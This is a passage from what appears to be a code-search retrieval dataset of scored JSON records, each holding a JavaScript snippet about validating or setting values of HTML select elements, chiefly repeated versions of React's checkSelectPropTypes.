this._optionMap.forEach(optionSelectedStateSetter);\n }", "title": "" }, { "docid": "0c5b671d42222a63e19e76e002a347a8", "score": "0.5524673", "text": "writeValue(value) {\n this.value = value;\n let optionSelectedStateSetter;\n if (Array.isArray(value)) {\n // convert values to ids\n const ids = value.map((v) => this._getOptionId(v));\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(ids.indexOf(o.toString()) > -1);\n };\n }\n else {\n optionSelectedStateSetter = (opt, o) => {\n opt._setSelected(false);\n };\n }\n this._optionMap.forEach(optionSelectedStateSetter);\n }", "title": "" }, { "docid": "4c44e9d7e78418bb33d1c97a152d1d90", "score": "0.55118144", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return null;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "4c44e9d7e78418bb33d1c97a152d1d90", "score": "0.55118144", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return null;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "4c44e9d7e78418bb33d1c97a152d1d90", "score": "0.55118144", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return null;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "4c44e9d7e78418bb33d1c97a152d1d90", "score": "0.55118144", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return null;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "4c44e9d7e78418bb33d1c97a152d1d90", "score": "0.55118144", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return null;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "4c44e9d7e78418bb33d1c97a152d1d90", "score": "0.55118144", "text": "function selectValueType(props, propName, componentName) {\n if (props[propName] == null) {\n return null;\n }\n if (props.multiple) {\n if (!Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be an array if \") +\n (\"`multiple` is true.\")\n );\n }\n } else {\n if (Array.isArray(props[propName])) {\n return new Error(\n (\"The `\" + propName + \"` prop supplied to <select> must be a scalar \") +\n (\"value if `multiple` is false.\")\n );\n }\n }\n}", "title": "" }, { "docid": "c39a48cd35bddb0f79a62f788c502e27", "score": "0.5446217", "text": "function checkSelectPropTypes(props){{ReactControlledValuePropTypes.checkPropTypes('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){error('The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){error('The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}}", "title": "" }, { "docid": "c39a48cd35bddb0f79a62f788c502e27", "score": "0.5446217", "text": "function checkSelectPropTypes(props){{ReactControlledValuePropTypes.checkPropTypes('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){error('The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){error('The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}}", "title": "" }, { "docid": "89bb312c6e752c860368d4e0437aef43", "score": "0.5440128", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning$1(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning$1(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "89bb312c6e752c860368d4e0437aef43", "score": "0.5440128", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning$1(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning$1(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "89bb312c6e752c860368d4e0437aef43", "score": "0.5440128", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning$1(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning$1(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "89bb312c6e752c860368d4e0437aef43", "score": "0.5440128", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning$1(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning$1(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "89bb312c6e752c860368d4e0437aef43", "score": "0.5440128", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning$1(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning$1(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "dcdb0a6590d9c8252d889995afb1d207", "score": "0.5433857", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props,getCurrentFiberStackAddendum$3);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "ec11f5b308d6b984a455c3cd8f7f816f", "score": "0.54301625", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props,getCurrentFiberStackAddendum$4);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "ec11f5b308d6b984a455c3cd8f7f816f", "score": "0.54301625", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props,getCurrentFiberStackAddendum$4);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "ec11f5b308d6b984a455c3cd8f7f816f", "score": "0.54301625", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props,getCurrentFiberStackAddendum$4);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "ec11f5b308d6b984a455c3cd8f7f816f", "score": "0.54301625", "text": "function checkSelectPropTypes(props){ReactControlledValuePropTypes.checkPropTypes('select',props,getCurrentFiberStackAddendum$4);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){warning(false,'The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){warning(false,'The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}", "title": "" }, { "docid": "f643aa59f8f24811e1839ac44a510773", "score": "0.54264855", "text": "render() {\n var {options,value, onChange, defaultValue, ...props} = this.props;\n value = value == null ? defaultValue : value;\n return <Select {...props} onChange={this.handleChange} defaultValue={value}\n options={this.state.options || options}/>\n }", "title": "" }, { "docid": "2b236b9ecdfe1d99fb7e499da9132b2f", "score": "0.54255956", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t ({\"NODE_ENV\":\"production\",\"PUBLIC_URL\":\".\"}).NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t ({\"NODE_ENV\":\"production\",\"PUBLIC_URL\":\".\"}).NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t ({\"NODE_ENV\":\"production\",\"PUBLIC_URL\":\".\"}).NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "4c5d67a4a3811b0c583b798ed0f48533", "score": "0.5415583", "text": "function checkSelectPropTypes(props){{checkControlledValueProps('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){error('The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){error('The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}}", "title": "" }, { "docid": "4c5d67a4a3811b0c583b798ed0f48533", "score": "0.5415583", "text": "function checkSelectPropTypes(props){{checkControlledValueProps('select',props);for(var i=0;i<valuePropNames.length;i++){var propName=valuePropNames[i];if(props[propName]==null){continue;}var isArray=Array.isArray(props[propName]);if(props.multiple&&!isArray){error('The `%s` prop supplied to <select> must be an array if '+'`multiple` is true.%s',propName,getDeclarationErrorAddendum());}else if(!props.multiple&&isArray){error('The `%s` prop supplied to <select> must be a scalar '+'value if `multiple` is false.%s',propName,getDeclarationErrorAddendum());}}}}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9c1ea6aa56d6aab7cca9fff4dc0ecdf7", "score": "0.53990847", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\t\n\t if (props.valueLink !== undefined && !didWarnValueLink) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n\t didWarnValueLink = true;\n\t }\n\t\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t var isArray = Array.isArray(props[propName]);\n\t if (props.multiple && !isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t } else if (!props.multiple && isArray) {\n\t process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "d3c98f2e8f45450023c6d97f911603d4", "score": "0.5396021", "text": "set value(value) {\n this.values = value ? [value] : [];\n }", "title": "" }, { "docid": "829ec68417de8176d54951698dc8082d", "score": "0.5392189", "text": "function checkSelectPropTypes(inst, props) {\n\t var owner = inst._currentElement._owner;\n\t LinkedValueUtils.checkPropTypes('select', props, owner);\n\n\t for (var i = 0; i < valuePropNames.length; i++) {\n\t var propName = valuePropNames[i];\n\t if (props[propName] == null) {\n\t continue;\n\t }\n\t if (props.multiple) {\n\t ({\"ASSET_PATH\":\"\",\"SOUNDFILES\":[\"2SAD4ME.mp3\",\"2SED4AIRHORN.mp3\",\"Ahh Victory.mp3\",\"AIRHORN.mp3\",\"AIRHORNSONATA.mp3\",\"and-his-name-is-john-cena-1.mp3\",\"Awwww Yeah Futurama.mp3\",\"Behold, Me.mp3\",\"cricket.mp3\",\"Darude - Dankstorm.mp3\",\"DEDOTADED WAM.mp3\",\"Diggy Diggy Hole.mp3\",\"DIVE DIVE DIVE.mp3\",\"Dogs Barking.mp3\",\"Dramatic Beaver.mp3\",\"Fatality.mp3\",\"Fog Horn.mp3\",\"GET NOSCOPED.mp3\",\"Groovy.mp3\",\"HITMARKER.mp3\",\"inception.mp3\",\"intervention 420.mp3\",\"It Is Done Imperious Leader.mp3\",\"Kramer Oh YEAH.mp3\",\"Laugh Track.mp3\",\"MOM GET THE CAMERA.mp3\",\"NEVER DONE THAT.mp3\",\"Noot Noot Angry.mp3\",\"Noot Noot.mp3\",\"Oh Baby A Triple.mp3\",\"Razz Dazzler.mp3\",\"SHOTS FIRED.mp3\",\"SIKE Thats the wrong number.mp3\",\"SKRILLEX Scary.mp3\",\"SPOOKY.mp3\",\"tactical nuke.mp3\",\"Whatcha Say.mp3\",\"WOMBO COMBO.mp3\",\"Yeah.mp3\",\"YEEEEAAAAAAAAHH.mp3\"],\"NODE_ENV\":\"production\"}).NODE_ENV !== 'production' ? warning(Array.isArray(props[propName]), 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : undefined;\n\t } else {\n\t ({\"ASSET_PATH\":\"\",\"SOUNDFILES\":[\"2SAD4ME.mp3\",\"2SED4AIRHORN.mp3\",\"Ahh Victory.mp3\",\"AIRHORN.mp3\",\"AIRHORNSONATA.mp3\",\"and-his-name-is-john-cena-1.mp3\",\"Awwww Yeah Futurama.mp3\",\"Behold, Me.mp3\",\"cricket.mp3\",\"Darude - Dankstorm.mp3\",\"DEDOTADED WAM.mp3\",\"Diggy Diggy Hole.mp3\",\"DIVE DIVE DIVE.mp3\",\"Dogs Barking.mp3\",\"Dramatic Beaver.mp3\",\"Fatality.mp3\",\"Fog Horn.mp3\",\"GET NOSCOPED.mp3\",\"Groovy.mp3\",\"HITMARKER.mp3\",\"inception.mp3\",\"intervention 420.mp3\",\"It Is Done Imperious Leader.mp3\",\"Kramer Oh YEAH.mp3\",\"Laugh Track.mp3\",\"MOM GET THE CAMERA.mp3\",\"NEVER DONE THAT.mp3\",\"Noot Noot Angry.mp3\",\"Noot Noot.mp3\",\"Oh Baby A Triple.mp3\",\"Razz Dazzler.mp3\",\"SHOTS FIRED.mp3\",\"SIKE Thats the wrong number.mp3\",\"SKRILLEX Scary.mp3\",\"SPOOKY.mp3\",\"tactical nuke.mp3\",\"Whatcha Say.mp3\",\"WOMBO COMBO.mp3\",\"Yeah.mp3\",\"YEEEEAAAAAAAAHH.mp3\"],\"NODE_ENV\":\"production\"}).NODE_ENV !== 'production' ? warning(!Array.isArray(props[propName]), 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : undefined;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var 